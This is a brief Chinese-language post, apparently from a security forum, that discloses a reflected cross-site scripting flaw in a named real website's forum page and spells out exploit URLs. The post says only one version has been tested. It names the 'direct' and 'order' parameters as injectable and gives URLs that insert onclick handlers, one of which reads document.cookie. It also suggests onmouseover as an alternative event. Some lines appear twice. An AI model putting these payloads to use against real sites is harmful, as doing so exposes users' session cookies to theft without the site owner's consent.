别的版本还没测试
找了个站做例子
两处参数
direct：
order：
或者换成onmouseover等事件
找了个站做例子
两处参数
direct：
http://www.spark.com.cn/bbs/showtopiclist.aspx?direct=000" onclick=alert(document.cookie) a="&forumid=-1&order=1&page=1&search=1&type=order：
http://www.spark.com.cn/bbs/showtopiclist.aspx?direct=000&forumid=-1&order=1" onclick=alert(/t00ls/) a="&page=1&search=1&type=或者换成onmouseover等事件
